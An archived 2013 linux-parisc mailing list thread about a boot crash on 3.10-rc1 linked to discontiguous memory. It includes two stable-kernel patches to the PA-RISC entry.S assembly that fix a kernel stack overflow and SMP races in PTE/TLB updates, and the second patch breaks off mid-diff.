Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UctiA-0000W1-7g
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 10:38:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755882Ab3EPIit (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 04:38:49 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44078 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756800Ab3EPIin (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 04:38:43 -0400
Original-Received: (qmail 9650 invoked from network); 16 May 2013 08:38:39 -0000
Original-Received: from dslb-092-077-077-133.pools.arcor-ip.net ([::ffff:92.77.77.133]:32993 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <mroos@linux.ee>; Thu, 16 May 2013 10:38:39 +0200
User-Agent: KMail/4.10.3 (Linux/3.9.1-7.gb6484b6-desktop; KDE/4.10.3; x86_64; ; )
In-Reply-To: <BLU0-SMTP17357AC6F8AF968964CF7297A20@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5027>


--nextPart2225909.dOP4IPQNdi
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Mittwoch 15 Mai 2013, 18:32:34 schrieb John David Anglin:
> On 15-May-13, at 3:34 PM, Rolf Eike Beer wrote:
> > Am Mittwoch 15 Mai 2013, 20:16:21 schrieb Helge Deller:
> >> Hi Meelis,
> >> 
> >> On 05/15/2013 08:59 AM, Meelis Roos wrote:
> >>>>> It did not work - first a __schedule_bug,
> >>>> 
> >>>> I assume you have CONFIG_PREEMPT enabled? We know it's currently
> >>>> broken.
> >>> 
> >>> It is already disabled:
> >>> 
> >>> CONFIG_PREEMPT_NONE=y
> >>> # CONFIG_PREEMPT_VOLUNTARY is not set
> >>> # CONFIG_PREEMPT is not set
> >>> CONFIG_PREEMPT_COUNT=y
> >>> 
> >>> I just enabled the new irqstacks...
> >> 
> >> Ok, the good thing is, that I got today a rp5470 with which I could
> >> reproduce your problems.
> >> 
> >> The bad thing is:
> >> Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
> > 
> > My C8000 runs 3.7.3 happily, so it must have happened after that.
> 
> I suspect that you actually have to have discontiguous memory to
> trigger the bug.

The C8000 has discontigmem. I can easily see if it is working or not: if I 
only have 1GB of RAM available it doesn't work. But I have all 2GB of RAM 
available.

Eike
--nextPart2225909.dOP4IPQNdi
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlGUmw8ACgkQXKSJPmm5/E7ytwCgnhPS2apEzKBECgHtT0XwAMGM
uOcAoIqppE5beNdIStVCY+btS/BIPfGT
=CPH3
-----END PGP SIGNATURE-----

--nextPart2225909.dOP4IPQNdi--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Thu, 16 May 2013 08:15:07 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP398CEC562539AB1F75942E97A30@phx.gbl>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <1536577.0f4jSevITp@eto> <alpine.SOC.1.00.1305160931430.23959@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368706551 25764 80.91.229.3 (16 May 2013 12:15:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 12:15:51 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 14:15:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ucx65-00041V-3M
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 14:15:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752978Ab3EPMPr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 08:15:47 -0400
Original-Received: from blu0-omc3-s5.blu0.hotmail.com ([65.55.116.80]:27850 "EHLO
	blu0-omc3-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752871Ab3EPMPr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 08:15:47 -0400
Original-Received: from BLU0-SMTP39 ([65.55.116.74]) by blu0-omc3-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 16 May 2013 05:15:46 -0700
X-EIP: [lXDdZWwubzOMme0fniVy/qBAq1SeLjnz]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP39.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 16 May 2013 05:15:46 -0700
In-Reply-To: <alpine.SOC.1.00.1305160931430.23959@math.ut.ee>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 May 2013 12:15:46.0074 (UTC) FILETIME=[180C8FA0:01CE522F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5028>

On 16-May-13, at 2:35 AM, Meelis Roos wrote:

>>> Ok, the good thing is, that I got today a rp5470 with which I could
>>> reproduce your problems.
>>>
>>> The bad thing is:
>>> Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
>>
>> My C8000 runs 3.7.3 happily, so it must have happened after that.
>
> My RP3440 runs 3.9.0 fine, with mostly the same config as I sent  
> (modulo
> the new questions).


3.9.0 plus all parisc changes for 3.10 runs ok on my rp3440.  Do you  
have
the three parisc patches merged after 3.10-rc1?  There's only about  
one day's
worth of commits between what I have and 3.10-rc1.

I have CONFIG_DISCONTIGMEM set.

Memory Ranges:
  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 8190 MB

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Thu, 16 May 2013 15:23:02 +0300 (EEST)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1305161519330.23959@math.ut.ee>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <1536577.0f4jSevITp@eto> <alpine.SOC.1.00.1305160931430.23959@math.ut.ee> <BLU0-SMTP398CEC562539AB1F75942E97A30@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1368706996 31341 80.91.229.3 (16 May 2013 12:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 12:23:16 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 14:23:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UcxDC-0001UW-BN
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 14:23:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753702Ab3EPMXH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 08:23:07 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:34012 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753464Ab3EPMXG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 08:23:06 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 5322C900D8;
	Thu, 16 May 2013 15:23:02 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 40B60427978; Thu, 16 May 2013 15:23:02 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 352AB427976;
	Thu, 16 May 2013 15:23:02 +0300 (EEST)
In-Reply-To: <BLU0-SMTP398CEC562539AB1F75942E97A30@phx.gbl>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5029>

> > > > Ok, the good thing is, that I got today a rp5470 with which I could
> > > > reproduce your problems.
> > > > 
> > > > The bad thing is:
> > > > Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
> > > 
> > > My C8000 runs 3.7.3 happily, so it must have happened after that.
> > 
> > My RP3440 runs 3.9.0 fine, with mostly the same config as I sent (modulo
> > the new questions).
> 
> 
> 3.9.0 plus all parisc changes for 3.10 runs ok on my rp3440.  Do you have
> the three parisc patches merged after 3.10-rc1?  There's only about one day's
> worth of commits between what I have and 3.10-rc1.
> 
> I have CONFIG_DISCONTIGMEM set.
> 
> Memory Ranges:
> 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
> 1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
> 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
> Total Memory: 8190 MB

I took 3.10-rc1+git with the batch of hppa changes: 
v3.10-rc1-87-g674825d

[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB

.config was already on the list, there are

CONFIG_IRQSTACKS=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y

CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH] parisc: only re-enable interrupts if we need to schedule or
 deliver signals when returning to userspace
Date: Thu, 16 May 2013 21:22:20 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20130516192220.GA32308@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368732148 22552 80.91.229.3 (16 May 2013 19:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 19:22:28 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 21:22:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud3kw-0008Vx-9Y
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 21:22:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752823Ab3EPTWZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 15:22:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49418 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752084Ab3EPTWY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 15:22:24 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MVGca-1V0jw03i7q-00YlYE for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 21:22:22 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 19:22:22 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp033) with SMTP; 16 May 2013 21:22:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19hywpdJT1hR5OJLJz1OJhJ9/CB+FKg69vSv2aPAq
	Uv0jzNyE4R0+f8
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5030 gmane.linux.kernel.stable:53027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5030>

please include to stable kernel v3.9 series.
upstream commit c207a76bf155cb5cf24cf849c08f6555e9180594

From: John David Anglin <dave.anglin@bell.net>

Helge and I have found that we have a kernel stack overflow problem
which causes a variety of random failures.  Currently, we re-enable
interrupts when returning from an external interrupt incase we need to
schedule or delivery signals.  As a result, a potentially unlimited
number of interrupts can occur while we are running on the kernel stack.
It is very limited in space (currently, 16k).  This change defers
enabling interrupts until we have actually decided to schedule or
delivery signals.  This only occurs when we about to return to
userspace.  This limits the number of interrupts on the kernel stack to
one.  In other cases, interrupts remain disabled until the final return
from interrupt (rfi).

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 36f4f1d..3f3326d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -833,11 +833,6 @@ ENTRY(syscall_exit_rfi)
 	STREG   %r19,PT_SR7(%r16)
 
 intr_return:
-	/* NOTE: Need to enable interrupts incase we schedule. */
-	ssm     PSW_SM_I, %r0
-
-intr_check_resched:
-
 	/* check for reschedule */
 	mfctl   %cr30,%r1
 	LDREG   TI_FLAGS(%r1),%r19	/* sched.h: TIF_NEED_RESCHED */
@@ -864,6 +859,11 @@ intr_check_sig:
 	LDREG	PT_IASQ1(%r16), %r20
 	cmpib,COND(=),n 0,%r20,intr_restore /* backward */
 
+	/* NOTE: We need to enable interrupts if we have to deliver
+	 * signals. We used to do this earlier but it caused kernel
+	 * stack overflows. */
+	ssm     PSW_SM_I, %r0
+
 	copy	%r0, %r25			/* long in_syscall = 0 */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
@@ -915,6 +915,10 @@ intr_do_resched:
 	cmpib,COND(=)	0, %r20, intr_do_preempt
 	nop
 
+	/* NOTE: We need to enable interrupts if we schedule.  We used
+	 * to do this earlier but it caused kernel stack overflows. */
+	ssm     PSW_SM_I, %r0
+
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH] parisc: fix SMP races when updating PTE and TLB entries in
 entry.S
Date: Thu, 16 May 2013 21:25:28 +0200
Lines: 374
Approved: news@gmane.org
Message-ID: <20130516192528.GA357@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368732335 24730 80.91.229.3 (16 May 2013 19:25:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 May 2013 19:25:35 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 16 21:25:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ud3ny-0001XA-C8
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 May 2013 21:25:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752907Ab3EPTZd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 May 2013 15:25:33 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52227 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752863Ab3EPTZd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 May 2013 15:25:33 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M8cOb-1UHWa83qnz-00wApL for
 <linux-parisc@vger.kernel.org>; Thu, 16 May 2013 21:25:31 +0200
Original-Received: (qmail invoked by alias); 16 May 2013 19:25:31 -0000
Original-Received: from p54AD4764.dip0.t-ipconnect.de (EHLO p100.box) [84.173.71.100]
  by mail.gmx.net (mp032) with SMTP; 16 May 2013 21:25:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX181+IJTxo41JEBtQDa0bKIsPnhmaseTXdUJZgYZRg
	F6by1ZKOPPM720
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5031 gmane.linux.kernel.stable:53028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5031>

please add to stable kernel v3.9
upstream commit f0a18819e261afc5fdbd8c5c6f9943123c5461ba

From: John David Anglin <dave.anglin@bell.net>

Currently, race conditions exist in the handling of TLB interruptions in
entry.S.  In particular, dirty bit updates can be lost if an accessed
interruption occurs just after the dirty bit interruption on a different
cpu.  Lost dirty bit updates result in user pages not being flushed and
general system instability.  This change adds lock and unlock macros to
synchronize all PTE and TLB updates done in entry.S.  As a result,
userspace stability is significantly improved.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 4bb96ad..ae27cb6 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -452,9 +452,41 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* Acquire pa_dbit_lock lock. */
+	.macro		dbit_lock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n	0,\spc,2f
+	load32		PA(pa_dbit_lock),\tmp
+1:	LDCW		0(\tmp),\tmp1
+	cmpib,COND(=)	0,\tmp1,1b
+	nop
+2:
+#endif
+	.endm
+
+	/* Release pa_dbit_lock lock without reloading lock address. */
+	.macro		dbit_unlock0	spc,tmp
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	stw             \spc,0(\tmp)
+#endif
+	.endm
+
+	/* Release pa_dbit_lock lock. */
+	.macro		dbit_unlock1	spc,tmp
+#ifdef CONFIG_SMP
+	load32		PA(pa_dbit_lock),\tmp
+	dbit_unlock0	\spc,\tmp
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
+	.macro		update_ptep	spc,ptep,pte,tmp,tmp1
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	LDREG		0(\ptep),\pte
+#endif
 	ldi		_PAGE_ACCESSED,\tmp1
 	or		\tmp1,\pte,\tmp
 	and,COND(<>)	\tmp1,\pte,%r0
@@ -463,7 +495,11 @@
 
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
-	.macro		update_dirty	ptep,pte,tmp
+	.macro		update_dirty	spc,ptep,pte,tmp
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	LDREG		0(\ptep),\pte
+#endif
 	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
 	or		\tmp,\pte,\pte
 	STREG		\pte,0(\ptep)
@@ -1111,11 +1147,13 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1135,11 +1173,13 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1161,7 +1201,8 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1172,6 +1213,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1192,7 +1234,8 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1204,6 +1247,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1224,13 +1268,15 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1250,13 +1296,15 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1357,11 +1405,13 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1379,11 +1429,13 @@ naitlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,naitlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1405,7 +1457,8 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1416,6 +1469,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1427,7 +1481,8 @@ naitlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1438,6 +1493,7 @@ naitlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1459,13 +1515,15 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1477,13 +1535,15 @@ naitlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1507,29 +1567,13 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
